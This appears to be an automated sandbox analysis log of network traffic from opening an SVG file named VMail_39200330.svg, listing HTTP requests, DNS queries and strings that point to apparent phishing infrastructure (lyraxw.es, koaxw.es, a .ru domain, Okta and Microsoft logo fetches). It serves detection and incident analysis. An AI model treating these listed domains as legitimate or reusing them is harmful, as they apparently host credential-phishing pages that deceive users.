Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ijW78iIiuhQnn0hD6UAXP8rijvjumg5JcYu3qTVfxyWNgT2xJBXSqwmsDk12210 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrREBqPeNoelpv49Od09z906k7WJcuvJwJCmk7DVVdKeFXpaUSfnzOlCcd240 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stiRdjwTAfcfqX13ewSylqUppklsJ6WztZmnEnkMlJskW0aEtfb5u50hjkAeWfsztjqwa6Dgh260 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFub3hEVk91WFZ1bVdQVkVwQVhPM2c9PSIsInZhbHVlIjoiK1Z3dHMrbTVaQVZaNmR2ejh2K0J6MUpVOEIvZHU1MFA0OHJyWFc1bDIwcnBQSG9GRGVDdkpIeDNxZXUyeElSTXR2NCtLcHhWY25BMFY5ZjI4QTJvT1JCOEJJczB5MFptTVRqdmJtaUZiYkt2cFIvb2MzemZ1czYvNnJQZzcrSlQiLCJtYWMiOiJlODMyNWU5MDcxYmIwNzljMzdlYjVjODQ2ZjY3ODk3NWU0ODVmNmIxYjAyYTQ2NDNlMjEwMzBlMjIxMGI4YzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9ic2RkQnc4Snl5ZzRQVTNKY3Nzemc9PSIsInZhbHVlIjoiTksrcHZzOExUbUc3eU9RQkw5REFxSkxsSS9QM2tseWpBSzZKT0E3ZVEzREhYREswb2wycmYyZHpwUE84ZEZMRmdiY3R1dU41WE9BQ05pYmFjdzN3bi9GZEl5REVQR3FNUFZQbXRwRENlOThOVVF0ekZRc3BiUGhsbjhUNUNLdXoiLCJtYWMiOiJjMTE2MTM0NTVjNGIzZTI3OTAzOTNkMDllOTgyZGZkZWEzMDU3MGU4MmRhMjMwYjQwMTdjMTMyYjg4NGExYmJhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://abc.lyraxw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://abc.lyraxw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpqeunK3xgHPu34dpmimwx33 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7 HTTP/1.1Host: abc.lyraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImVnTDNPWjM3QStsUDU3cDBocWNMTGc9PSIsInZhbHVlIjoib0lndE1tdDN5U1VZVVVScXI4aXpUcURPcDBFT2ZrNFBVY3dHRktiSWRVL0c4UEJQbDB3ZW5FcFRKeGRCbFFDRWtoOGwyTDVESXhEYXEzNFJyNTRDUy9laFoxeHloajNXTUMzajRjdnZzRitOZjNGU3hobVg3eG5POFBEUXlUT3kiLCJtYWMiOiIxN2NiNTY0NWNkMzhkNDM3N2JjZDM5YmJjYzQ0NzgwZTA2MTcxZmNiNjc3ZDc2NDBkMWJhYTdmMGE4NGMwYTQ1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJlR1prNzZqcXpkcVlGbmYwVDNxUkE9PSIsInZhbHVlIjoiRnd2VFdCbUhQdC9PSnpPUTZnMHdUc2VjUHk5T3lPSVFGcVZscnZ4SDNXWVM1RDhLOE5yNjVmbVpKNXNNZ3VBanM0RXh4c0FUYTNVU1c0NTNlUUovRHdpNVA0L3NhSFJaTGR3bDQ1clhSb3ovTlc1bDlRbFNWcTV5eHJkZU9CYlIiLCJtYWMiOiJlMmNmMTAyZTdjNTRlMjJhNzU3Mzk2ZWJiZDE4OGZmZjdkZGQwZjA1MGUxYzc5ZmNiMTY3ZTk4NjUyYWU3NzA5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsmwMyx3FgeT34QTOgwx38 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsq0ok40NGZ34PKfeom9uv38 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrs6UEPLqURRIba3gyzUolauv31 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsK5uuBVO0sNLyGyzowUuv35 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsacEon9vYb0AY12RFuv40 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpquQcWqb4344q30c2uv40 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsuIc7gwm84Tln1iFPd12QJTwx40 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsVAOY0KR4bN34t5uv40 HTTP/1.1Host: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: providentfundquery.in
Source: global traffic	DNS traffic detected: DNS query: upload.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: dawn-dust-7616.kpapp.workers.dev
Source: global traffic	DNS traffic detected: DNS query: abc.lyraxw.es
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: pb7t0b.jnfemo.ru
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es

Source: unknown

HTTP traffic detected: POST /report/v4?s=VvPCnh2rp8aGjM9swHgIa1LAYJwV7Oal7Uee%2B7q2N6kdISS2vaEp8Po4%2FAfUvJsBXa94ZrtyvXGCNaKo%2FBeTFnYamSMvoag65vZtY3kbEJd4Gp9MwyxzIPNdVvx0rRCkXl2Z HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 458Content-Type: application/reports+jsonOrigin: https://abc.lyraxw.esUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 22:11:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VUP0zyfjD6BXLyvFVbZUjAXdDTfaceJOwD4D6w79GR2BtdCfubvL5Hx7ZWyCxbJJJ39jMfVWsxmuhi5kR%2Fc0Wu5TPftwgjzM01XijIE3vIn8tBz8TrwvXGCXF6%2BFadYDX0sY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1588&rtt_var=464&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2035&delivery_rate=1773423&cwnd=251&unsent_bytes=0&cid=21baf905533b76d4&ts=115&x=0"Server: cloudflareCF-RAY: 921fd4026ebd4308-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1726&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1695&delivery_rate=1621321&cwnd=217&unsent_bytes=0&cid=6adc2519bcc03b52&ts=420&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 22:11:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HND%2BO3o3t4P4y%2FfmUzNn9O32xgsgXfXCbXbD1nzJ7XVBekGH9F1GNlioYJH5W%2FlacXZc75bW7%2FFXLaV7OZaz05mdyc7qyQFMGrO8kqlPco7%2F6v7jyVXV7DSJnKM9Tj1bVFsz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1633&rtt_var=585&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2230&delivery_rate=1722784&cwnd=251&unsent_bytes=0&cid=87fea849fa2bf927&ts=125&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 921fd40879405ed0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1682&rtt_var=671&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1891&delivery_rate=1583514&cwnd=130&unsent_bytes=0&cid=3285359aef89306b&ts=444&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 22:11:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y9OgSStjDfz615p4WEQYKFdqxCJLbq1NkzZyk6i7eT%2FM474EOspDf1feA%2BQJyBo8%2F6sYowYErJMcUJuuzIIdlW%2FVQ2OyArtk2jQ0CC9coDqRoHF2YbO%2BZ1HIB0oUjzaJHLMi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1138&min_rtt=1129&rtt_var=327&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2067&delivery_rate=2492254&cwnd=251&unsent_bytes=0&cid=5563a55b08f35127&ts=116&x=0"Server: cloudflareCF-RAY: 921fd40bcdd8c356-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1567&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1728&delivery_rate=1838790&cwnd=163&unsent_bytes=0&cid=949cfaecc6f1ac8f&ts=422&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 22:11:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k84NlDOMhSgzT86HwzmUEs%2BLnbMpXPSCPmDpiZUhOAYQoBWyoE3SM%2BXdJHev9AdLftN0lkAiM0nha1hmbK9gBsSfOAfdvpHIUSZwcPqAVhu44qqIY1ofp6TpfYoUFR7SB9yc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=5099&min_rtt=4657&rtt_var=1688&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2065&delivery_rate=615123&cwnd=251&unsent_bytes=0&cid=1a48dd45bd31fe0d&ts=87&x=0"Server: cloudflareCF-RAY: 921fd422f9150c8e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1554&rtt_var=711&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1727&delivery_rate=1879021&cwnd=171&unsent_bytes=0&cid=fbeef6f7d1a7f3ac&ts=411&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2025 22:12:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G3U4rf%2BvdnzkzbEwSf4lacg9Skj0KAJ%2FA61UaVRalGq3fwxNwD0HYGbY3aDoPMbogcXNeug5BdiNYwkFE%2F9wmWEVCdCcVPM6uYMOguL%2FXO0RIB8pDWZK3ddutC1ep0tw3WqY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1107&min_rtt=1099&rtt_var=325&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2066&delivery_rate=2520452&cwnd=251&unsent_bytes=0&cid=8b6dc158dfffab42&ts=122&x=0"Server: cloudflareCF-RAY: 921fd47cbc93422d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1573&rtt_var=612&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1727&delivery_rate=1754807&cwnd=214&unsent_bytes=0&cid=f303c61b7e0f1a67&ts=432&x=0"

Source: chromecache_111.2.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_111.2.dr	String found in binary or memory: https://github.com/fent)
Source: VMail_39200330.svg	String found in binary or memory: https://providentfundquery.in/vmail
Source: chromecache_87.2.dr	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg
Source: chromecache_100.2.dr	String found in binary or memory: https://www.walmart.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
